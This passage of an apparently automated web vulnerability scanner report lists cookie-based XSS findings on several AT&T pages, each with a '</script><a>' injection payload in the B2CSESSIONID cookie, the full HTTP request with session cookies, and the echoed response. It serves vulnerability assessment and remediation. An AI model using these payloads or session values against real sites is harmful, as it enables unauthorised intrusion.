The value of the B2CSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fe75c</script><a>f653f87b6c was submitted in the B2CSESSIONID cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /storelocator/index.jsp HTTP/1.1
Host: www.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_NA_oesaln; BIGipServerpESUP_APP_7010=971100551.25115.0000; DTAB=Tab=Res; fsr.a=1290472265913; TLTHID=4C895F86F69910F631F6D5B66743ED65; ucvCookie=803; ESUPPORTSESSIONID=vlT3MrLLyhhXLd!-2076738270; DYN_USER_CONFIRM=4bc28851c0146d2ee032975168708311; BCNSESS=run=false; BIGipServerpATTWL_7010_7011=3772895623.25371.0000; __utma=52846072.1307757086.1290472285.1290472285.1290472285.1; 49ff2bfd-1827-4488-8f34-2a8b9ffd5fd3=%7B%22parent_id%22%3A%22%22%2C%22referrer%22%3A%22http%3A%2F%2Fattuverseoffers.com%2Ftv_hsi_bundles%2Findex.html%3F1%26source%3DECbc0000000WIP00O%26GUID%3DF83D66D2-BD03-468E-BCF6-F9C5779AA949%22%2C%22id%22%3A%22Mm2rWQb3GBW%22%2C%22wom%22%3Afalse%2C%22entry_point%22%3A%22http%3A%2F%2Fwww.att.com%2Fu-verse%2Favailability%2F%22%2C%22url_tag%22%3A%22NOMTAG%22%7D; __utmc=52846072; __utmb=52846072.2.10.1290472285; bn_search=true; svariants=NA; __utmz=52846072.1290472285.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DL3K=3CKOMPUrr0zvgDDsdI205jtt73r03FYoHxBnZ5X7Nyo7rw1J-q0RSrQ; B2CSESSIONID=fe75c</script><a>f653f87b6c; cust_type=new; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296826286492033; DYN_USER_ID=3295596214; TLTUID=AE753DDCF6CB10F651B5FF5A9E5E5A53; TLTSID=AE753DDCF6CB10F651B5FF5A9E5E5A53;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache="set-cookie"
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Date: Tue, 23 Nov 2010 00:38:25 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=FB3FC7FEF69910F66174C2FD2225165A; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=tQr2MrNBBwysNp!86942824; path=/
Set-Cookie: DYN_USER_ID=3295596214; expires=Tuesday, 21-Dec-2010 00:38:25 GMT; path=/
Set-Cookie: DYN_USER_CONFIRM=4bc28851c0146d2ee032975168708311; expires=Tuesday, 21-Dec-2010 00:38:25 GMT; path=/
Content-Length: 64068


                            <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">

<head>
...[SNIP]...
<script type="text/javascript" charset="utf-8">
   function SessionVars() {
       this.getCurrSessId = function() {
           var pSessionId = 'fe75c</script><a>f653f87b6c';
           return pSessionId;
       };

       this.getCurrBrowserId = function() {
           var pBrowserId;
           pBrowserId = this.getCookie('browserid');
           return pBrowserId;
       };
       
       this.getCookie = function(name) {
   
...[SNIP]...

1.10. http://www.wireless.att.com/cell-phone-service/cell-phone-details/ [B2CSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/cell-phone-details/

Issue detail

The value of the B2CSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93aef</script><a>8c9af127d2b was submitted in the B2CSESSIONID cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cell-phone-service/cell-phone-details/ HTTP/1.1
Host: www.wireless.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_osaln_oesaln; fsr.s={"v":-2,"rid":"1290472805633_198079","ru":"http://burp/show/0","r":"burp","st":"","pv":4,"to":5,"c":"http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp","lc":{"d4":{"v":4,"s":false}},"cd":4,"sd":4,"f":1290473130100}; DTAB=Tab=Res; wtAka=y; fsr.a=1290473143958; TLTHID=DE05629CF69A10F6F571A2342A455D4D; ucvCookie=803; DYN_USER_CONFIRM=d11ea7940a6ed07029a26790fa1261a4; BCNSESS=run=false; __utma=52846072.447538220.1290472804.1290472804.1290472804.1; __utmc=52846072; bn_search=true; __utmb=52846072.5.10.1290472804; svariants=NA; __utmz=52846072.1290472804.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; B2CSESSIONID=93aef</script><a>8c9af127d2b; cust_type=new; BIGipServerpWL_7010_7011=283234695.25371.0000; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296835329414257; DYN_USER_ID=3294797009; TLTUID=B436CA9AF6CD10F6F2709B124D729511; M8W3=3fRyIZNaWuj03d9FG736KalkLAPtv8dloDBiXv6ZJDLZfI7-a-Psaqg; TLTSID=B436CA9AF6CD10F6F2709B124D729511;

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:54:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:54:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=3DCCC232F69C10F6FD34DB4FA4FCE581; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=jdTTMrQLWQmZpG!1150642669; path=/
Set-Cookie: DYN_USER_ID=3294797390; path=/
Set-Cookie: DYN_USER_CONFIRM=00f4eecf5d938a4d799cddedb24f376c; path=/
Set-Cookie: svariants=CAL_PHD_2~B; domain=.att.com; expires=Wednesday, 23-Nov-2011 00:54:35 GMT; path=/
Content-Length: 72672


                                                                                                                                                                                                                                                                               
...[SNIP]...
<script type="text/javascript" charset="utf-8">
   function SessionVars() {
       this.getCurrSessId = function() {
           var pSessionId = '93aef</script><a>8c9af127d2b';
           return pSessionId;
       };

       this.getCurrBrowserId = function() {
           var pBrowserId;
           pBrowserId = this.getCookie('browserid');
           return pBrowserId;
       };
       
       this.getCookie = function(name) {
   
...[SNIP]...

1.11. http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp [B2CSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/cell-phones/cell-phones.jsp

Issue detail

The value of the B2CSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74b76</script><a>a2c77799a2e was submitted in the B2CSESSIONID cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cell-phone-service/cell-phones/cell-phones.jsp HTTP/1.1
Host: www.wireless.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_osaln_oesaln; fsr.s={"v":-2,"rid":"1290472805633_198079","ru":"http://burp/show/0","r":"burp","st":"","pv":4,"to":5,"c":"http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp","lc":{"d4":{"v":4,"s":false}},"cd":4,"sd":4,"f":1290473130100}; DTAB=Tab=Res; wtAka=y; fsr.a=1290473143958; TLTHID=DE05629CF69A10F6F571A2342A455D4D; ucvCookie=803; DYN_USER_CONFIRM=d11ea7940a6ed07029a26790fa1261a4; BCNSESS=run=false; __utma=52846072.447538220.1290472804.1290472804.1290472804.1; __utmc=52846072; bn_search=true; __utmb=52846072.5.10.1290472804; svariants=NA; __utmz=52846072.1290472804.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; B2CSESSIONID=74b76</script><a>a2c77799a2e; cust_type=new; BIGipServerpWL_7010_7011=283234695.25371.0000; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296835329414257; DYN_USER_ID=3294797009; TLTUID=B436CA9AF6CD10F6F2709B124D729511; M8W3=3fRyIZNaWuj03d9FG736KalkLAPtv8dloDBiXv6ZJDLZfI7-a-Psaqg; TLTSID=B436CA9AF6CD10F6F2709B124D729511;

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:59:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:59:02 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=DB83E280F69C10F60A28E0C386A09CAD; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=B7pTMrRJvzvpBZ!1150642669; path=/
Set-Cookie: DYN_USER_ID=3294797576; path=/
Set-Cookie: DYN_USER_CONFIRM=6f2ac29458cb451918bf54e407949860; path=/
Content-Length: 716332


                                                                                                                               
...[SNIP]...
<script type="text/javascript" charset="utf-8">
   function SessionVars() {
       this.getCurrSessId = function() {
           var pSessionId = '74b76</script><a>a2c77799a2e';
           return pSessionId;
       };

       this.getCurrBrowserId = function() {
           var pBrowserId;
           pBrowserId = this.getCookie('browserid');
           return pBrowserId;
       };
       
       this.getCookie = function(name) {
   
...[SNIP]...

1.12. http://www.wireless.att.com/cell-phone-service/compare-cell-phones/ [B2CSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/compare-cell-phones/

Issue detail

The value of the B2CSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0370</script><a>f3ddcd2b60d was submitted in the B2CSESSIONID cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cell-phone-service/compare-cell-phones/ HTTP/1.1
Host: www.wireless.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_osaln_oesaln; fsr.s={"v":-2,"rid":"1290472805633_198079","ru":"http://burp/show/0","r":"burp","st":"","pv":4,"to":5,"c":"http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp","lc":{"d4":{"v":4,"s":false}},"cd":4,"sd":4,"f":1290473130100}; DTAB=Tab=Res; wtAka=y; fsr.a=1290473143958; TLTHID=DE05629CF69A10F6F571A2342A455D4D; ucvCookie=803; DYN_USER_CONFIRM=d11ea7940a6ed07029a26790fa1261a4; BCNSESS=run=false; __utma=52846072.447538220.1290472804.1290472804.1290472804.1; __utmc=52846072; bn_search=true; __utmb=52846072.5.10.1290472804; svariants=NA; __utmz=52846072.1290472804.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; B2CSESSIONID=a0370</script><a>f3ddcd2b60d; cust_type=new; BIGipServerpWL_7010_7011=283234695.25371.0000; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296835329414257; DYN_USER_ID=3294797009; TLTUID=B436CA9AF6CD10F6F2709B124D729511; M8W3=3fRyIZNaWuj03d9FG736KalkLAPtv8dloDBiXv6ZJDLZfI7-a-Psaqg; TLTSID=B436CA9AF6CD10F6F2709B124D729511;

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:54:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:54:02 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=29ED7EAAF69C10F6047CD411C368522B; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=xvDWMrQKXY4zZz!1150642669; path=/
Set-Cookie: DYN_USER_ID=3294797343; path=/
Set-Cookie: DYN_USER_CONFIRM=834ee081400130f7b4b76d3479e8a666; path=/
Content-Length: 41463


                                                               
...[SNIP]...
<script type="text/javascript" charset="utf-8">
   function SessionVars() {
       this.getCurrSessId = function() {
           var pSessionId = 'a0370</script><a>f3ddcd2b60d';
           return pSessionId;
       };

       this.getCurrBrowserId = function() {
           var pBrowserId;
           pBrowserId = this.getCookie('browserid');
           return pBrowserId;
       };
       
       this.getCookie = function(name) {
   
...[SNIP]...

1.13. http://www.wireless.att.com/cell-phone-service/get-started/index.jsp [B2CSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/get-started/index.jsp

Issue detail

The value of the B2CSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ba3b</script><a>93a82f71088 was submitted in the B2CSESSIONID cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cell-phone-service/get-started/index.jsp HTTP/1.1
Host: www.wireless.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_osaln_oesaln; fsr.s={"v":-2,"rid":"1290472805633_198079","ru":"http://burp/show/0","r":"burp","st":"","pv":4,"to":5,"c":"http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp","lc":{"d4":{"v":4,"s":false}},"cd":4,"sd":4,"f":1290473130100}; DTAB=Tab=Res; wtAka=y; fsr.a=1290473143958; TLTHID=DE05629CF69A10F6F571A2342A455D4D; ucvCookie=803; DYN_USER_CONFIRM=d11ea7940a6ed07029a26790fa1261a4; BCNSESS=run=false; __utma=52846072.447538220.1290472804.1290472804.1290472804.1; __utmc=52846072; bn_search=true; __utmb=52846072.5.10.1290472804; svariants=NA; __utmz=52846072.1290472804.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; B2CSESSIONID=6ba3b</script><a>93a82f71088; cust_type=new; BIGipServerpWL_7010_7011=283234695.25371.0000; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296835329414257; DYN_USER_ID=3294797009; TLTUID=B436CA9AF6CD10F6F2709B124D729511; M8W3=3fRyIZNaWuj03d9FG736KalkLAPtv8dloDBiXv6ZJDLZfI7-a-Psaqg; TLTSID=B436CA9AF6CD10F6F2709B124D729511;

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:54:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:54:00 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=28C39F46F69C10F60517A88AFAB1FE4F; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=T4BmMrQLp9FYLP!1150642669; path=/
Set-Cookie: DYN_USER_ID=3294797333; path=/
Set-Cookie: DYN_USER_CONFIRM=de5a7691d9b4bd9fc9711fb8163cec7b; path=/
Content-Length: 41865


                                                                                                                                           
...[SNIP]...
<script type="text/javascript" charset="utf-8">
   function SessionVars() {
       this.getCurrSessId = function() {
           var pSessionId = '6ba3b</script><a>93a82f71088';
           return pSessionId;
       };

       this.getCurrBrowserId = function() {
           var pBrowserId;
           pBrowserId = this.getCookie('browserid');
           return pBrowserId;
       };
       
       this.getCookie = function(name) {
   
...[SNIP]...

1.14. http://www.wireless.att.com/cell-phone-service/packages/packages-details.jsp [B2CSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/packages/packages-details.jsp

Issue detail

The value of the B2CSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload caacb</script><a>8bed496540b was submitted in the B2CSESSIONID cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cell-phone-service/packages/packages-details.jsp HTTP/1.1
Host: www.wireless.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_osaln_oesaln; fsr.s={"v":-2,"rid":"1290472805633_198079","ru":"http://burp/show/0","r":"burp","st":"","pv":4,"to":5,"c":"http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp","lc":{"d4":{"v":4,"s":false}},"cd":4,"sd":4,"f":1290473130100}; DTAB=Tab=Res; wtAka=y; fsr.a=1290473143958; TLTHID=DE05629CF69A10F6F571A2342A455D4D; ucvCookie=803; DYN_USER_CONFIRM=d11ea7940a6ed07029a26790fa1261a4; BCNSESS=run=false; __utma=52846072.447538220.1290472804.1290472804.1290472804.1; __utmc=52846072; bn_search=true; __utmb=52846072.5.10.1290472804; svariants=NA; __utmz=52846072.1290472804.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; B2CSESSIONID=caacb</script><a>8bed496540b; cust_type=new; BIGipServerpWL_7010_7011=283234695.25371.0000; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296835329414257; DYN_USER_ID=3294797009; TLTUID=B436CA9AF6CD10F6F2709B124D729511; M8W3=3fRyIZNaWuj03d9FG736KalkLAPtv8dloDBiXv6ZJDLZfI7-a-Psaqg; TLTSID=B436CA9AF6CD10F6F2709B124D729511;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:55:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:55:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=6456F738F69C10F6FE11DB4FA4FCE581; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=TnHdMrRMLGLV23!1150642669; path=/
Set-Cookie: DYN_USER_ID=3294797455; path=/
Set-Cookie: DYN_USER_CONFIRM=bf299214af078efbf8592644e3b948e1; path=/
Content-Length: 42232


                                                                                                                                           
...[SNIP]...
<script type="text/javascript" charset="utf-8">
   function SessionVars() {
       this.getCurrSessId = function() {
           var pSessionId = 'caacb</script><a>8bed496540b';
           return pSessionId;
       };

       this.getCurrBrowserId = function() {
           var pBrowserId;
           pBrowserId = this.getCookie('browserid');
           return pBrowserId;
       };
       
       this.getCookie = function(name) {
   
...[SNIP]...

1.15. http://www.wireless.att.com/cell-phone-service/packages/refurbished-packages.jsp [B2CSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/packages/refurbished-packages.jsp

Issue detail

The value of the B2CSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 17d69</script><a>ad20fe7cdff was submitted in the B2CSESSIONID cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cell-phone-service/packages/refurbished-packages.jsp HTTP/1.1
Host: www.wireless.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_osaln_oesaln; fsr.s={"v":-2,"rid":"1290472805633_198079","ru":"http://burp/show/0","r":"burp","st":"","pv":4,"to":5,"c":"http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp","lc":{"d4":{"v":4,"s":false}},"cd":4,"sd":4,"f":1290473130100}; DTAB=Tab=Res; wtAka=y; fsr.a=1290473143958; TLTHID=DE05629CF69A10F6F571A2342A455D4D; ucvCookie=803; DYN_USER_CONFIRM=d11ea7940a6ed07029a26790fa1261a4; BCNSESS=run=false; __utma=52846072.447538220.1290472804.1290472804.1290472804.1; __utmc=52846072; bn_search=true; __utmb=52846072.5.10.1290472804; svariants=NA; __utmz=52846072.1290472804.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; B2CSESSIONID=17d69</script><a>ad20fe7cdff; cust_type=new; BIGipServerpWL_7010_7011=283234695.25371.0000; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296835329414257; DYN_USER_ID=3294797009; TLTUID=B436CA9AF6CD10F6F2709B124D729511; M8W3=3fRyIZNaWuj03d9FG736KalkLAPtv8dloDBiXv6ZJDLZfI7-a-Psaqg; TLTSID=B436CA9AF6CD10F6F2709B124D729511;

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:55:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:55:12 GMT
Connection: close
